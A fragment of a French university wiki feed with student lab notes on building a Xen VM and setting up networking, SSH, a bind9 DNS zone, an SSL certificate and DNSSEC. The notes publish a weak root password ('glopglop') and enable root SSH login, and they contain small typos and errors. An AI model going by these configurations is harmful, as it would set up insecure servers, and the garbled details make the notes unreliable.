|-&lt;br /&gt;
|Lionel&lt;br /&gt;
|193.48.57.164&lt;br /&gt;
|Rafale&lt;br /&gt;
|-&lt;br /&gt;
|Guillaume&lt;br /&gt;
|193.48.57.165&lt;br /&gt;
|Concorde&lt;br /&gt;
|-&lt;br /&gt;
|Samuel&lt;br /&gt;
|193.48.57.166&lt;br /&gt;
|Blackbird&lt;br /&gt;
|-&lt;br /&gt;
|Thibaut&lt;br /&gt;
|193.48.57.167&lt;br /&gt;
|Falcon&lt;br /&gt;
|-&lt;br /&gt;
|Alexandre&lt;br /&gt;
|193.48.57.168&lt;br /&gt;
|Mirage&lt;br /&gt;
|-&lt;br /&gt;
|Thomas&lt;br /&gt;
|193.48.57.169&lt;br /&gt;
|Alpha_jet&lt;br /&gt;
|-&lt;br /&gt;
|Crispin&lt;br /&gt;
|193.48.57.170&lt;br /&gt;
|NightHawk&lt;br /&gt;
|-&lt;br /&gt;
|Léna&lt;br /&gt;
|193.48.57.171&lt;br /&gt;
|hawker&lt;br /&gt;
|-&lt;br /&gt;
|Nathan&lt;br /&gt;
|193.48.57.172&lt;br /&gt;
|Boeing&lt;br /&gt;
|-&lt;br /&gt;
|ISR&lt;br /&gt;
|193.48.57.173/28&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.240&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan130 ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|192.168.222.2&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|192.168.222.1&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.248&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table des vlan ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom !! Vlan &lt;br /&gt;
|-&lt;br /&gt;
|Lionel&lt;br /&gt;
|Vlan3&lt;br /&gt;
|-&lt;br /&gt;
|Guillaume&lt;br /&gt;
|Vlan4&lt;br /&gt;
|-&lt;br /&gt;
|Samuel&lt;br /&gt;
|Vlan5&lt;br /&gt;
|-&lt;br /&gt;
|Thibaut&lt;br /&gt;
|Vlan6&lt;br /&gt;
|-&lt;br /&gt;
|Alexandre&lt;br /&gt;
|Vlan7&lt;br /&gt;
|-&lt;br /&gt;
|Thomas&lt;br /&gt;
|Vlan8&lt;br /&gt;
|-&lt;br /&gt;
|Crispin&lt;br /&gt;
|Vlan9&lt;br /&gt;
|-&lt;br /&gt;
|Léna&lt;br /&gt;
|Vlan10&lt;br /&gt;
|-&lt;br /&gt;
|Nathan&lt;br /&gt;
|Vlan11&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table générale ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Nom !! Vlan !! Réseau IPV4 !! Réseau IPV6 !! IP Routeur 1 !! IP Routeur 2 !! IP Routeur Virtuel&lt;br /&gt;
|-&lt;br /&gt;
|x&lt;br /&gt;
|Administration&lt;br /&gt;
|Vlan1&lt;br /&gt;
|10.60.0.0/24&lt;br /&gt;
|&lt;br /&gt;
|10.60.0.1&lt;br /&gt;
|10.60.0.2&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|x&lt;br /&gt;
|Xen&lt;br /&gt;
|Vlan2&lt;br /&gt;
|193.48.57.160/28&lt;br /&gt;
|2001:660:4401:60a2::0/64&lt;br /&gt;
|193.48.57.161&lt;br /&gt;
|193.48.57.162&lt;br /&gt;
|193.48.57.163&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 1 &lt;br /&gt;
|Lionel&lt;br /&gt;
|Vlan3&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 2&lt;br /&gt;
|Guillaume&lt;br /&gt;
|Vlan4&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 3&lt;br /&gt;
|Samuel&lt;br /&gt;
|Vlan5&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 4 &lt;br /&gt;
|Thibaut&lt;br /&gt;
|Vlan6&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 5&lt;br /&gt;
|Alexandre&lt;br /&gt;
|Vlan7&lt;br /&gt;
|193.48.57.168/24&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 6&lt;br /&gt;
|Thomas&lt;br /&gt;
|Vlan8&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 7&lt;br /&gt;
|Léna&lt;br /&gt;
|Vlan10&lt;br /&gt;
|10.60.7.0/24&lt;br /&gt;
|2001:660:4401:60aa::0/64&lt;br /&gt;
|10.60.7.1&lt;br /&gt;
|10.60.7.2&lt;br /&gt;
|10.60.7.3&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 8&lt;br /&gt;
|Nathan&lt;br /&gt;
|Vlan11&lt;br /&gt;
|X&lt;br /&gt;
|2001:660:4401:60a2::4/64&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 9&lt;br /&gt;
|Crispin&lt;br /&gt;
|Vlan12&lt;br /&gt;
|10.60.9.0/24&lt;br /&gt;
|2001:660:4401:60a4::0/64&lt;br /&gt;
|10.60.9.1&lt;br /&gt;
|10.60.9.2&lt;br /&gt;
|10.60.9.3&lt;br /&gt;
|-&lt;br /&gt;
|x&lt;br /&gt;
|Interconnexion&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|Router1 : X  // Router2 : X // Ecole : X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IP des VMs ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de la VM !! IP de la VM&lt;br /&gt;
|-&lt;br /&gt;
|mirage&lt;br /&gt;
|193.48.57.168/24&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Cartes de supervision ===&lt;br /&gt;
&lt;br /&gt;
Problématique: Configuration et installation des OS des cartes de supervision&lt;br /&gt;
&lt;br /&gt;
Etape 1: Vérifier l'existence d'OS sur les deux cartes. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour cela, nous avons utilisé le port console grâce à une liaison série sur un PC. Ainsi, nous avons utilisé l'interface minicom pour nous connecter aux cartes. &lt;br /&gt;
 -&amp;gt; 1ere carte: OS présent. Réaction suite à la commande boot et différents OS trouvés (3)&lt;br /&gt;
 -&amp;gt; 2ème carte: OS absent &lt;br /&gt;
&lt;br /&gt;
Etape 2: Copie du fichier d'OS&lt;br /&gt;
&lt;br /&gt;
[[Fichier:TP sysres IMA2a5 2020/2021 - Carte Supervision 1.jpg]]&lt;br /&gt;
&lt;br /&gt;
Grâce à l'emplacement en façade pour les cartes flash, nous avons pu copier le fichier d'OS de la première carte de supervision vers l'autre. Puis, il nous a suffit de replacer la carte flash dans la deuxième carte de supervision.&lt;br /&gt;
&lt;br /&gt;
copy sup-bootdisk:/sys/s72033/base/s72033-ipservicesk9_wan-mz.&amp;amp;éé-33.SXI6.bin disk0:&lt;br /&gt;
&lt;br /&gt;
Etape 3: Reboot de la deuxième carte&lt;br /&gt;
&lt;br /&gt;
Pour s'assurer du bon fonctionnement de la deuxième carte, nous l'avons redémarrer (boot) avec l'OS à l'intérieur. &lt;br /&gt;
&lt;br /&gt;
boot&lt;br /&gt;
sh ver &lt;br /&gt;
&lt;br /&gt;
Etape 4: Vérification de la redondance&lt;br /&gt;
&lt;br /&gt;
La carte principale de supervision est active alors que la deuxième est en standby. La première carte bootée est la carte active&lt;br /&gt;
&lt;br /&gt;
== Configuration machine Xen sur Capbreton ==&lt;br /&gt;
&lt;br /&gt;
- Connexion de l'écran, clavier, souris sur le serveur &lt;br /&gt;
- Commande &amp;quot;lbslk&amp;quot; permettant de voir les partitions sur la machine&lt;br /&gt;
    Il y a 2 disques de 500go qui forme un volume répartie de la façon suivante : 900Go pour Xen et 100Go pour le système.&lt;br /&gt;
    Il y a 1 disque SDA avec 800go de libre.&lt;br /&gt;
    Deux disques plus lent sont utilisé pour LVM.&lt;br /&gt;
- On souhaite déplacer les disques présent dans l'ancien serveur vers le serveur Capbreton cependant il faut s'assurer que les berceaux sont les même.&lt;br /&gt;
    Dans notre cas les berceaux ne sont pas les mêmes nous n'avons pas pu les insérer&lt;br /&gt;
&lt;br /&gt;
Concernant le brigde, nous avons vu dans /etc/network/interfaces &amp;quot;brigde_ports eth1 eth7&amp;quot;. Nous devons connecter eth1 et eth7. Pour connaître où sont les interfaces sur le serveur nous avons utilisé la commande:&lt;br /&gt;
    ethtool -p eth7&lt;br /&gt;
    ethtool -p eth1&lt;br /&gt;
&lt;br /&gt;
On a pu constater que eth7 correspond à la connexion en fibre optique et eth1 est la connexion cuivre&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54759</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54759"/>
				<updated>2020-12-15T22:32:04Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Sécurisation de site web par certificat */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est de sécuriser www.lulya.space.&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.&lt;br /&gt;
&lt;br /&gt;
En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.&lt;br /&gt;
&lt;br /&gt;
  nano /etc/aliases&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
  newaliases /etc/aliases&lt;br /&gt;
J'envoie un nouveau mail mais à admin.&lt;br /&gt;
Grâce à mailx, on voit le mail, c'est mon certificat&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
